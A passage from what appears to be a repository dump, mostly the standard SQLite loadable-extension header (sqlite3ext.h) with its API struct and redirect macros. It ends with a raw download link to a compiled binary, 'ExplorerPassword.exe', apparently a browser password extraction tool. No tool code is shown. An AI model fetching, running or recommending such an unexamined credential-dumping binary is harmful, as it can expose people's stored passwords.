*(*db_mutex)(sqlite3*); 225 | int (*db_status)(sqlite3*,int,int*,int*,int); 226 | int (*extended_errcode)(sqlite3*); 227 | void (*log)(int,const char*,...); 228 | sqlite3_int64 (*soft_heap_limit64)(sqlite3_int64); 229 | const char *(*sourceid)(void); 230 | int (*stmt_status)(sqlite3_stmt*,int,int); 231 | int (*strnicmp)(const char*,const char*,int); 232 | int (*unlock_notify)(sqlite3*,void(*)(void**,int),void*); 233 | int (*wal_autocheckpoint)(sqlite3*,int); 234 | int (*wal_checkpoint)(sqlite3*,const char*); 235 | void *(*wal_hook)(sqlite3*,int(*)(void*,sqlite3*,const char*,int),void*); 236 | int (*blob_reopen)(sqlite3_blob*,sqlite3_int64); 237 | int (*vtab_config)(sqlite3*,int op,...); 238 | int (*vtab_on_conflict)(sqlite3*); 239 | /* Version 3.7.16 and later */ 240 | int (*close_v2)(sqlite3*); 241 | const char *(*db_filename)(sqlite3*,const char*); 242 | int (*db_readonly)(sqlite3*,const char*); 243 | int (*db_release_memory)(sqlite3*); 244 | const char *(*errstr)(int); 245 | int (*stmt_busy)(sqlite3_stmt*); 246 | int (*stmt_readonly)(sqlite3_stmt*); 247 | int (*stricmp)(const char*,const char*); 248 | int (*uri_boolean)(const char*,const char*,int); 249 | sqlite3_int64 (*uri_int64)(const char*,const char*,sqlite3_int64); 250 | const char *(*uri_parameter)(const char*,const char*); 251 | char *(*vsnprintf)(int,char*,const char*,va_list); 252 | int (*wal_checkpoint_v2)(sqlite3*,const char*,int,int*,int*); 253 | /* Version 3.8.7 and later */ 254 | int (*auto_extension)(void(*)(void)); 255 | int (*bind_blob64)(sqlite3_stmt*,int,const void*,sqlite3_uint64, 256 | void(*)(void*)); 257 | int (*bind_text64)(sqlite3_stmt*,int,const char*,sqlite3_uint64, 258 | void(*)(void*),unsigned char); 259 | int (*cancel_auto_extension)(void(*)(void)); 260 | int (*load_extension)(sqlite3*,const char*,const char*,char**); 261 | void *(*malloc64)(sqlite3_uint64); 262 | sqlite3_uint64 (*msize)(void*); 263 | void *(*realloc64)(void*,sqlite3_uint64); 264 | void (*reset_auto_extension)(void); 265 | void (*result_blob64)(sqlite3_context*,const void*,sqlite3_uint64, 266 | void(*)(void*)); 267 | void (*result_text64)(sqlite3_context*,const char*,sqlite3_uint64, 268 | void(*)(void*), unsigned char); 269 | int (*strglob)(const char*,const char*); 270 | }; 271 | 272 | /* 273 | ** The following macros redefine the API routines so that they are 274 | ** redirected through the global sqlite3_api structure. 275 | ** 276 | ** This header file is also used by the loadext.c source file 277 | ** (part of the main SQLite library - not an extension) so that 278 | ** it can get access to the sqlite3_api_routines structure 279 | ** definition. But the main library does not want to redefine 280 | ** the API. So the redefinition macros are only valid if the 281 | ** SQLITE_CORE macros is undefined. 282 | */ 283 | #ifndef SQLITE_CORE 284 | #define sqlite3_aggregate_context sqlite3_api->aggregate_context 285 | #ifndef SQLITE_OMIT_DEPRECATED 286 | #define sqlite3_aggregate_count sqlite3_api->aggregate_count 287 | #endif 288 | #define sqlite3_bind_blob sqlite3_api->bind_blob 289 | #define sqlite3_bind_double sqlite3_api->bind_double 290 | #define sqlite3_bind_int sqlite3_api->bind_int 291 | #define sqlite3_bind_int64 sqlite3_api->bind_int64 292 | #define sqlite3_bind_null sqlite3_api->bind_null 293 | #define sqlite3_bind_parameter_count sqlite3_api->bind_parameter_count 294 | #define sqlite3_bind_parameter_index sqlite3_api->bind_parameter_index 295 | #define sqlite3_bind_parameter_name sqlite3_api->bind_parameter_name 296 | #define sqlite3_bind_text sqlite3_api->bind_text 297 | #define sqlite3_bind_text16 sqlite3_api->bind_text16 298 | #define sqlite3_bind_value sqlite3_api->bind_value 299 | #define sqlite3_busy_handler sqlite3_api->busy_handler 300 | #define sqlite3_busy_timeout sqlite3_api->busy_timeout 301 | #define sqlite3_changes sqlite3_api->changes 302 | #define sqlite3_close sqlite3_api->close 303 | #define sqlite3_collation_needed sqlite3_api->collation_needed 304 | #define sqlite3_collation_needed16 sqlite3_api->collation_needed16 305 | #define sqlite3_column_blob sqlite3_api->column_blob 306 | #define sqlite3_column_bytes sqlite3_api->column_bytes 307 | #define sqlite3_column_bytes16 sqlite3_api->column_bytes16 308 | #define sqlite3_column_count sqlite3_api->column_count 309 | #define sqlite3_column_database_name sqlite3_api->column_database_name 310 | #define sqlite3_column_database_name16 sqlite3_api->column_database_name16 311 | #define sqlite3_column_decltype sqlite3_api->column_decltype 312 | #define sqlite3_column_decltype16 sqlite3_api->column_decltype16 313 | #define sqlite3_column_double sqlite3_api->column_double 314 | #define sqlite3_column_int sqlite3_api->column_int 315 | #define sqlite3_column_int64 sqlite3_api->column_int64 316 | #define sqlite3_column_name sqlite3_api->column_name 317 | #define sqlite3_column_name16 sqlite3_api->column_name16 318 | #define sqlite3_column_origin_name sqlite3_api->column_origin_name 319 | #define sqlite3_column_origin_name16 sqlite3_api->column_origin_name16 320 | #define sqlite3_column_table_name sqlite3_api->column_table_name 321 | #define sqlite3_column_table_name16 sqlite3_api->column_table_name16 322 | #define sqlite3_column_text sqlite3_api->column_text 323 | #define sqlite3_column_text16 sqlite3_api->column_text16 324 | #define sqlite3_column_type sqlite3_api->column_type 325 | #define sqlite3_column_value sqlite3_api->column_value 326 | #define sqlite3_commit_hook sqlite3_api->commit_hook 327 | #define sqlite3_complete sqlite3_api->complete 328 | #define sqlite3_complete16 sqlite3_api->complete16 329 | #define sqlite3_create_collation sqlite3_api->create_collation 330 | #define sqlite3_create_collation16 sqlite3_api->create_collation16 331 | #define sqlite3_create_function sqlite3_api->create_function 332 | #define sqlite3_create_function16 sqlite3_api->create_function16 333 | #define sqlite3_create_module sqlite3_api->create_module 334 | #define sqlite3_create_module_v2 sqlite3_api->create_module_v2 335 | #define sqlite3_data_count sqlite3_api->data_count 336 | #define sqlite3_db_handle sqlite3_api->db_handle 337 | #define sqlite3_declare_vtab sqlite3_api->declare_vtab 338 | #define sqlite3_enable_shared_cache sqlite3_api->enable_shared_cache 339 | #define sqlite3_errcode sqlite3_api->errcode 340 | #define sqlite3_errmsg sqlite3_api->errmsg 341 | #define sqlite3_errmsg16 sqlite3_api->errmsg16 342 | #define sqlite3_exec sqlite3_api->exec 343 | #ifndef SQLITE_OMIT_DEPRECATED 344 | #define sqlite3_expired sqlite3_api->expired 345 | #endif 346 | #define sqlite3_finalize sqlite3_api->finalize 347 | #define sqlite3_free sqlite3_api->free 348 | #define sqlite3_free_table sqlite3_api->free_table 349 | #define sqlite3_get_autocommit sqlite3_api->get_autocommit 350 | #define sqlite3_get_auxdata sqlite3_api->get_auxdata 351 | #define sqlite3_get_table sqlite3_api->get_table 352 | #ifndef SQLITE_OMIT_DEPRECATED 353 | #define sqlite3_global_recover sqlite3_api->global_recover 354 | #endif 355 | #define sqlite3_interrupt sqlite3_api->interruptx 356 | #define sqlite3_last_insert_rowid sqlite3_api->last_insert_rowid 357 | #define sqlite3_libversion sqlite3_api->libversion 358 | #define sqlite3_libversion_number sqlite3_api->libversion_number 359 | #define sqlite3_malloc sqlite3_api->malloc 360 | #define sqlite3_mprintf sqlite3_api->mprintf 361 | #define sqlite3_open sqlite3_api->open 362 | #define sqlite3_open16 sqlite3_api->open16 363 | #define sqlite3_prepare sqlite3_api->prepare 364 | #define sqlite3_prepare16 sqlite3_api->prepare16 365 | #define sqlite3_prepare_v2 sqlite3_api->prepare_v2 366 | #define sqlite3_prepare16_v2 sqlite3_api->prepare16_v2 367 | #define sqlite3_profile sqlite3_api->profile 368 | #define sqlite3_progress_handler sqlite3_api->progress_handler 369 | #define sqlite3_realloc sqlite3_api->realloc 370 | #define sqlite3_reset sqlite3_api->reset 371 | #define sqlite3_result_blob sqlite3_api->result_blob 372 | #define sqlite3_result_double sqlite3_api->result_double 373 | #define sqlite3_result_error sqlite3_api->result_error 374 | #define sqlite3_result_error16 sqlite3_api->result_error16 375 | #define sqlite3_result_int sqlite3_api->result_int 376 | #define sqlite3_result_int64 sqlite3_api->result_int64 377 | #define sqlite3_result_null sqlite3_api->result_null 378 | #define sqlite3_result_text sqlite3_api->result_text 379 | #define sqlite3_result_text16 sqlite3_api->result_text16 380 | #define sqlite3_result_text16be sqlite3_api->result_text16be 381 | #define sqlite3_result_text16le sqlite3_api->result_text16le 382 | #define sqlite3_result_value sqlite3_api->result_value 383 | #define sqlite3_rollback_hook sqlite3_api->rollback_hook 384 | #define sqlite3_set_authorizer sqlite3_api->set_authorizer 385 | #define sqlite3_set_auxdata sqlite3_api->set_auxdata 386 | #define sqlite3_snprintf sqlite3_api->snprintf 387 | #define sqlite3_step sqlite3_api->step 388 | #define sqlite3_table_column_metadata sqlite3_api->table_column_metadata 389 | #define sqlite3_thread_cleanup sqlite3_api->thread_cleanup 390 | #define sqlite3_total_changes sqlite3_api->total_changes 391 | #define sqlite3_trace sqlite3_api->trace 392 | #ifndef SQLITE_OMIT_DEPRECATED 393 | #define sqlite3_transfer_bindings sqlite3_api->transfer_bindings 394 | #endif 395 | #define sqlite3_update_hook sqlite3_api->update_hook 396 | #define sqlite3_user_data sqlite3_api->user_data 397 | #define sqlite3_value_blob sqlite3_api->value_blob 398 | #define sqlite3_value_bytes sqlite3_api->value_bytes 399 | #define sqlite3_value_bytes16 sqlite3_api->value_bytes16 400 | #define sqlite3_value_double sqlite3_api->value_double 401 | #define sqlite3_value_int sqlite3_api->value_int 402 | #define sqlite3_value_int64 sqlite3_api->value_int64 403 | #define sqlite3_value_numeric_type sqlite3_api->value_numeric_type 404 | #define sqlite3_value_text sqlite3_api->value_text 405 | #define sqlite3_value_text16 sqlite3_api->value_text16 406 | #define sqlite3_value_text16be sqlite3_api->value_text16be 407 | #define sqlite3_value_text16le sqlite3_api->value_text16le 408 | #define sqlite3_value_type sqlite3_api->value_type 409 | #define sqlite3_vmprintf sqlite3_api->vmprintf 410 | #define sqlite3_overload_function sqlite3_api->overload_function 411 | #define sqlite3_prepare_v2 sqlite3_api->prepare_v2 412 | #define sqlite3_prepare16_v2 sqlite3_api->prepare16_v2 413 | #define sqlite3_clear_bindings sqlite3_api->clear_bindings 414 | #define sqlite3_bind_zeroblob sqlite3_api->bind_zeroblob 415 | #define sqlite3_blob_bytes sqlite3_api->blob_bytes 416 | #define sqlite3_blob_close sqlite3_api->blob_close 417 | #define sqlite3_blob_open sqlite3_api->blob_open 418 | #define sqlite3_blob_read sqlite3_api->blob_read 419 | #define sqlite3_blob_write sqlite3_api->blob_write 420 | #define sqlite3_create_collation_v2 sqlite3_api->create_collation_v2 421 | #define sqlite3_file_control sqlite3_api->file_control 422 | #define sqlite3_memory_highwater sqlite3_api->memory_highwater 423 | #define sqlite3_memory_used sqlite3_api->memory_used 424 | #define sqlite3_mutex_alloc sqlite3_api->mutex_alloc 425 | #define sqlite3_mutex_enter sqlite3_api->mutex_enter 426 | #define sqlite3_mutex_free sqlite3_api->mutex_free 427 | #define sqlite3_mutex_leave sqlite3_api->mutex_leave 428 | #define sqlite3_mutex_try sqlite3_api->mutex_try 429 | #define sqlite3_open_v2 sqlite3_api->open_v2 430 | #define sqlite3_release_memory sqlite3_api->release_memory 431 | #define sqlite3_result_error_nomem sqlite3_api->result_error_nomem 432 | #define sqlite3_result_error_toobig sqlite3_api->result_error_toobig 433 | #define sqlite3_sleep sqlite3_api->sleep 434 | #define sqlite3_soft_heap_limit sqlite3_api->soft_heap_limit 435 | #define sqlite3_vfs_find sqlite3_api->vfs_find 436 | #define sqlite3_vfs_register sqlite3_api->vfs_register 437 | #define sqlite3_vfs_unregister sqlite3_api->vfs_unregister 438 | #define sqlite3_threadsafe sqlite3_api->xthreadsafe 439 | #define sqlite3_result_zeroblob sqlite3_api->result_zeroblob 440 | #define sqlite3_result_error_code sqlite3_api->result_error_code 441 | #define sqlite3_test_control sqlite3_api->test_control 442 | #define sqlite3_randomness sqlite3_api->randomness 443 | #define sqlite3_context_db_handle sqlite3_api->context_db_handle 444 | #define sqlite3_extended_result_codes sqlite3_api->extended_result_codes 445 | #define sqlite3_limit sqlite3_api->limit 446 | #define sqlite3_next_stmt sqlite3_api->next_stmt 447 | #define sqlite3_sql sqlite3_api->sql 448 | #define sqlite3_status sqlite3_api->status 449 | #define sqlite3_backup_finish sqlite3_api->backup_finish 450 | #define sqlite3_backup_init sqlite3_api->backup_init 451 | #define sqlite3_backup_pagecount sqlite3_api->backup_pagecount 452 | #define sqlite3_backup_remaining sqlite3_api->backup_remaining 453 | #define sqlite3_backup_step sqlite3_api->backup_step 454 | #define sqlite3_compileoption_get sqlite3_api->compileoption_get 455 | #define sqlite3_compileoption_used sqlite3_api->compileoption_used 456 | #define sqlite3_create_function_v2 sqlite3_api->create_function_v2 457 | #define sqlite3_db_config sqlite3_api->db_config 458 | #define sqlite3_db_mutex sqlite3_api->db_mutex 459 | #define sqlite3_db_status sqlite3_api->db_status 460 | #define sqlite3_extended_errcode sqlite3_api->extended_errcode 461 | #define sqlite3_log sqlite3_api->log 462 | #define sqlite3_soft_heap_limit64 sqlite3_api->soft_heap_limit64 463 | #define sqlite3_sourceid sqlite3_api->sourceid 464 | #define sqlite3_stmt_status sqlite3_api->stmt_status 465 | #define sqlite3_strnicmp sqlite3_api->strnicmp 466 | #define sqlite3_unlock_notify sqlite3_api->unlock_notify 467 | #define sqlite3_wal_autocheckpoint sqlite3_api->wal_autocheckpoint 468 | #define sqlite3_wal_checkpoint sqlite3_api->wal_checkpoint 469 | #define sqlite3_wal_hook sqlite3_api->wal_hook 470 | #define sqlite3_blob_reopen sqlite3_api->blob_reopen 471 | #define sqlite3_vtab_config sqlite3_api->vtab_config 472 | #define sqlite3_vtab_on_conflict sqlite3_api->vtab_on_conflict 473 | /* Version 3.7.16 and later */ 474 | #define sqlite3_close_v2 sqlite3_api->close_v2 475 | #define sqlite3_db_filename sqlite3_api->db_filename 476 | #define sqlite3_db_readonly sqlite3_api->db_readonly 477 | #define sqlite3_db_release_memory sqlite3_api->db_release_memory 478 | #define sqlite3_errstr sqlite3_api->errstr 479 | #define sqlite3_stmt_busy sqlite3_api->stmt_busy 480 | #define sqlite3_stmt_readonly sqlite3_api->stmt_readonly 481 | #define sqlite3_stricmp sqlite3_api->stricmp 482 | #define sqlite3_uri_boolean sqlite3_api->uri_boolean 483 | #define sqlite3_uri_int64 sqlite3_api->uri_int64 484 | #define sqlite3_uri_parameter sqlite3_api->uri_parameter 485 | #define sqlite3_uri_vsnprintf sqlite3_api->vsnprintf 486 | #define sqlite3_wal_checkpoint_v2 sqlite3_api->wal_checkpoint_v2 487 | /* Version 3.8.7 and later */ 488 | #define sqlite3_auto_extension sqlite3_api->auto_extension 489 | #define sqlite3_bind_blob64 sqlite3_api->bind_blob64 490 | #define sqlite3_bind_text64 sqlite3_api->bind_text64 491 | #define sqlite3_cancel_auto_extension sqlite3_api->cancel_auto_extension 492 | #define sqlite3_load_extension sqlite3_api->load_extension 493 | #define sqlite3_malloc64 sqlite3_api->malloc64 494 | #define sqlite3_msize sqlite3_api->msize 495 | #define sqlite3_realloc64 sqlite3_api->realloc64 496 | #define sqlite3_reset_auto_extension sqlite3_api->reset_auto_extension 497 | #define sqlite3_result_blob64 sqlite3_api->result_blob64 498 | #define sqlite3_result_text64 sqlite3_api->result_text64 499 | #define sqlite3_strglob sqlite3_api->strglob 500 | #endif /* SQLITE_CORE */ 501 | 502 | #ifndef SQLITE_CORE 503 | /* This case when the file really is being compiled as a loadable 504 | ** extension */ 505 | # define SQLITE_EXTENSION_INIT1 const sqlite3_api_routines *sqlite3_api=0; 506 | # define SQLITE_EXTENSION_INIT2(v) sqlite3_api=v; 507 | # define SQLITE_EXTENSION_INIT3 \ 508 | extern const sqlite3_api_routines *sqlite3_api; 509 | #else 510 | /* This case when the file is being statically linked into the 511 | ** application */ 512 | # define SQLITE_EXTENSION_INIT1 /*no-op*/ 513 | # define SQLITE_EXTENSION_INIT2(v) (void)v; /* unused parameter */ 514 | # define SQLITE_EXTENSION_INIT3 /*no-op*/ 515 | #endif 516 | 517 | #endif /* _SQLITE3EXT_H_ */ 518 | -------------------------------------------------------------------------------- /release/ExplorerPassword.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/release/ExplorerPassword.exe --------------------------------------------------------------------------------